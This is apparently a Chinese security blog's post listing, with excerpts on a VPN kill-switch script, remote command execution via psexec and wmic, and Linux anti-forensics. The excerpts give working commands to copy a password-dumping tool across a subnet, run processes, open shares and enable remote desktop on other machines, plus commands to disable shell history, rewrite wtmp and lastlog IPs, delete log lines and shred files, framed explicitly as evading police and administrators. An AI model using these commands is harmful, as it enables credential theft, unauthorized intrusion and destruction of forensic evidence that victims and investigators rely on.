Lucid 's Blog | 安全博客

记录成长历程

实现功能:

拨入vpn后,如果vpn掉线,将不能访问任何网络,以防暴漏自己真实ip地址

Windows :

1,python脚本(检测网卡信息如果没有ppp信息,释放网卡ip地址)

#!#/usr/bin/env python
#coding=utf-8
import msvcrt 
import time
import os
x=0
print "Enter 'q' to exit"
vpn=os.popen("ipconfig |find \"PPP\"").read()
if vpn=="":
    print "No VPN"
else:
    x=1
while x:
    key=""
    time.sleep(0.5)
    if msvcrt.kbhit():
        key=msvcrt.getch()
    vpn=os.popen("ipconfig |find \"PPP\"").read()
    if(vpn==""):
        os.popen("ipconfig /release").read()
        print "Vpn Disable!!"
        opt=raw_input("Network is Down. Need up?(y/n):")
        if opt=='y':
            os.popen("ipconfig /renew").read()
            print "Network is Up!!!"
        exit(1)
    else:
        print "%d check: VPN OK!"%(x)
    x+=1
    if key=="q":
        print "Exiting..."
        exit(1)
        #os.system("ipconfig /renew")

编译后exe程序下载(适用无python环境)

2,路由表操作

拨入vpn或者其他vpn客户端软件后,再本地路由表(route print) 可以看到两个网关信息,一个是本地网关记录,另一个是vpn网关记录
需要管理员权限来运行,可以自制bat

删除本地网关为192.168.1.1的默认路由(只通过vpn网关上网)

route delete 0.0.0.0 192.168.1.1

添加本地网关为192.168.1.1的默认路由(恢复网络)

route add 0.0.0.0 mask 0.0.0.0 192.168.1.1

Linux(bash脚本)

#!/bin/bash
n=1
while true;do
    ifconfig|grep ppp >/dev/null
    if [ $? -eq 0 ];
    then
        echo "$n Check: VPN OK"
        sleep 1
        n=`expr $n + 1`
    else
        ifconfig eth0 down
        echo "Network is Down"
        echo "please run:ifconfig eth0 up"
        exit
    fi
done

阅读剩余部分...


查看远程计算机共享内容

net view \\192.168.1.100 

psexec:
远程执行工具

环境: 需要开启admin$
        445端口

注意:psExec建立连接后会在对方机器安装一个服务(PSEXESVC),exit退出后会清除,但是会出现概率不能删除,易于管理员发现(本地测试过几次,只有一次安装了服务)

psexec \\192.168.1.100 /accepteula -u administrator -p 123456 ipconfig  #远程执行cmd命令并返回结果  
psexec \\192.168.1.100 /accepteula -u administrator -p 123456 -c getpass.exe  

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)

getpass.exe为本机psexec.exe所在目录下,也可以直接执行其他目录的路径,例如c:\getpass.exe

批量抓同网段密码

for /L %%G in (128 1 128) do  psexec \\172.16.44.%%G  /accepteula -u administrator -p 123456 -c c:\getpass.exe >172.16.44.%%G_pass.txt 

拷贝本地psexec.exe文件所在目录的getpass.exe到远程计算机. 执行并返回结果 ,并删除远程计算机的getpass.exe(批量抓全部机器密码)

wmic:
从命令行接口和批命令脚本执行系统管理的支持

环境:WMIC服务启动(Windows Management Instrumentation),禁用情况下会提示Description = 无法启动服务
        135端口

wmic /node:192.168.1.100 /user:administrator /password:123456 process call  create c:\1.exe      ##创建进程,可以直接运行exe程序或者执行系统命令,例如添加用户,不过没有命令返回的结果  
wmic /node:192.168.1.100 /user:administrator /password:123456 process  ##查看远程计算机进程   
wmic /node:192.168.1.100 /user:administrator /password:123456 process where name="calc.exe" call terminate  ##关闭远程计算机进程   
wmic /output:"%userprofile%\Desktop\temp.html" /node:192.168.1.100 /user:administrator /password:123456  process list full /format:htable ##读取进程并以html格式化输出到本地桌面   
wmic /node:192.168.1.100 /user:administrator /password:123456 useraccount ##查看远程计算机用户    
wmic /node:192.168.1.100 /user:administrator /password:123456 computersystem get domain  ##读取远程计算机域/工作组    
wmic /node:192.168.1.100 /user:administrator /password:123456 SHARE CALL Create "","test","3","c_share","","c:\",0  ##开启远程计算机共享 c_share为共享名字,c:\为共享路径  
wmic /node:192.168.1.100 /user:administrator /password:123456 SHARE where name="c_share" call delete  ##删除远程计算机共享,可以直接运行SHARE  查看全部共享 
wmic /node:192.168.1.100 /user:administrator /password:123456  PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1         ##开启远程计算机的远程桌面 
wmic /output:"%userprofile%\Desktop\temp.html" /node:192.168.1.100 /user:administrator /password:123456 FSDIR where "drive='c:'" list  /format:htable    ##读取远程计算机C盘的全部目录并输出到桌面

schtasks:
本地或远程系统上的计划系统。替代 at

阅读剩余部分...


免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

在电影里黑客都在大街上或者马路上直接用笔记本“嗒…嗒…嗒…”就把某个东西“黑”掉了——这都是通过无线的。本文将介绍一名无线安全工程师的装备库。

2.4GHz 定向or全向天线

请输入图片描述

定向天线的话本来想自己做出一个便携的.苦于没有太多的时间..全向我是选择某位大神的作品..

天线材料作者采用九节空心紫铜管镀银制作.天线在材料选取至关重要.之前在微博说过天线材料的选取.

大部分小伙伴还是对材料选取方面有一定的误区在这里我就不多说….

天线的搭配方案我建议是:

12DB全向配合3070网卡…对目标区域进行无线拓扑分析.并根据三点定位的特性.获取目标AP大概位置…

当分析目标区域内无线环境拓扑后..切换用定向天线配合8187网卡对目标AP…..当能够进入到目标无线网络中在切换回来.

阅读剩余部分...


上篇文章Linux下入侵匿迹隐藏的方法,是一些大牛的思路和操作命令,下面有些是已经重复的,主要是做个记录,把常用的命令都整理下

登录后执行下面命令,不记录历史命令(.bash_history)

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

last命令结果修改ip(如果修改用户什么的,自己修改下把)
Centos

utmpdump /var/log/wtmp |sed "s/8.8.8.8/1.1.1.1/g" |utmpdump -r >/tmp/wtmp1 &&\mv  /tmp/wtmp1 /var/log/wtmp

unix

/usr/lib/acct/fwtmp < /var/adm/wtmpx | sed "s/192.168.8.88/localhost/g" | /usr/lib/acct/fwtmp -ic > /var/adm/wtmpx

lastlog 修改替换

sed -i 's/192.168.1.1/8.8.8.8/' /var/log/lastlog

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T [email protected] /bin/bash –i

多次覆盖文件,使得即使是昂贵的硬件探测仪器也难以将数据复原 -n, --iterations=N 覆盖N 次,而非使用默认的3 次。

shred -n 31337 -z -u filename

-n, --iterations=N 覆盖N 次,而非使用默认的3 次
-z, --zero 最后一次使用0 进行覆盖以隐藏覆盖动作
-u, --remove 覆盖后截断并删除文件

登录账户 w下管理员是看不到的

ssh -T [email protected] /bin/bash –i

日志文件
/var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一
/var/log/secure 与安全相关的日志信息
/var/log/maillog 与邮件相关的日志信息
/var/log/cron 与定时任务相关的日志信息
/var/log/spooler 与UUCP和news设备相关的日志信息
/var/log/boot.log 守护进程启动和停止相关的日志消息
/var/log/btmp – 记录所有失败登录信息 命令:lastb
/var/log/auth.log 系统授权信息,包括用户登录和使用的权限机制等 (debian)

删除部分日志,比如以当天日期或者自己的登录ip

sed  -i '/当前时间/'d  /var/log/messages

本来想自动提取当前时间,感觉麻烦,还是自己手动修改时间或者ip把,适用性也会 好点把

个人建议登录linux,使用winscp工具连接,选择sftp协议,执行命令或者操作目录文件,在history,lastlog,last,w下不会有记录,
但是在/var/log/secure会有sftp连接记录,只需要清理登录日志就可以了


被警察叔叔请去喝茶时间很痛苦的事情,各位道长如果功力不够又喜欢出风头的想必都有过这样的“待遇”。如何使自己在系统中隐藏的更深,是我们必须掌握的基本功。当然,如果管理员真的想搞你而他的功力又足够足的话,相信没什么人能够真正的“踏雪无痕”。Forensic 与Anti-Forensic,说到底只是你和管理员之间的技术间较量而已。貌似很少有专门说这个的文章,大部分就是下载个日志擦除的软件,然后运行下就可以了,对小站可以,但对方如果是经验丰富的管理员呢?我们该如何应对?我在这里只介绍unix-like system下的,至于windows或者其他什么系统下的,欢迎各位道友补充.

1.最小化你的日志
P.S 访问目标前用跳板我就不废话了,你是VPN也好3389也罢,ssh中转,代理都行。总之记住一点—直接连接攻击目标是愚蠢的

1.1 shell使用问题
目前linux下大多数的shell都是采用bash或者其他的什么shell 通过输入输出重定向来实现与服务器的交互的,当我们使用ssh 或者telnet之类的登录的时候,我们的命令都会被记录在shell 的history文件下面。举例来说bash会在当前目录下面.bash_history文件里记录下你此次登陆操作的命令,如果你拿这台机器当跳板的话,或者扫描其他机器,你的命令都会被记录下来哦。呵呵,所以我们登录的第一件事就是执行如下命令:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
当然不同的shell写法可能不同,像有的set设置环境变量什么的。大家根据自己的shell自行修改。记住:从 webshell弹回的shell也会记录你的操作,值得庆幸的是现在很多弹shell的脚本都预先unset 环境变量。
我们还需要记住的是在登录的时候出现在登录窗口的一些信息,比如该用户在什么时候从哪个IP登录进来的等等,这在我们后面的用于日志清除与修改的时候要用到。
如图:
lastlog
作为跳板的时候,我们有可能需要用本机的ssh去访问别的机器,但是别的机器的公钥呢?总不能放在当前用户的目录下吧?当然你可以事后删除,但多一事不如少一事,你说对么?

ssh -o UserKnownHostsFile=/dev/null -T [email protected] /bin/bash –i

就可以了,但在这样运行某些命令的时候可能会有提示,说你的stdin不是个terminal,这里可以这样解决:
python -c ‘import pty; pty.spawn(”/bin/sh”)’ 或者自己再建立个ttyshell。

阅读剩余部分...